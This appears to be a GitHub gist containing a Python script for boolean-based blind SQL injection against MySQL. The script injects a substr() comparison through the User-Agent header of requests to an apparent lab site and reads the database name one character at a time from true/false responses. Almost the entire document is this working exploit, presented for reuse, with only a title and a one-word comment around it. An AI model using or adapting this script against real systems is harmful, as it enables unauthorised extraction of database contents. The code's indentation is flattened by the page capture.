Skip to content

Instantly share code, notes, and snippets.

@refabr1k
Created July 30, 2021 15:42
Show Gist options
  • Save refabr1k/34b79e9c4808118b56eaf7888ac13b6a to your computer and use it in GitHub Desktop.
Save refabr1k/34b79e9c4808118b56eaf7888ac13b6a to your computer and use it in GitHub Desktop.
Blind sql injection using true/false statements (mysql)
#!/usr/bin/python
import string, os, requests
allchars = string.ascii_letters
found = False
quit = False
dumpstr = ""
index = 1
table="database()"
while(quit == False):
for c in allchars:
found = False
payload = "' or substr(%s,%s,1) = '" % (table,(str(index)))
headers = {"User-Agent": payload+c}
r = requests.get("http://1.lab.sqli.site/getBrowserInfo.php", headers=headers)
if "nothing" in r.content.decode():
if index == 1:
print("[+] Found something!")
print("[+] Dumping '%s': " % table, end="")
dumpstr += c
found = True
print(c, end="", flush=True)
break
if found == False and "Z" in c:
quit = True
print("")
print("[-] End")
break
index+=1
@refabr1k
Copy link
Author

blindsqli_python

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment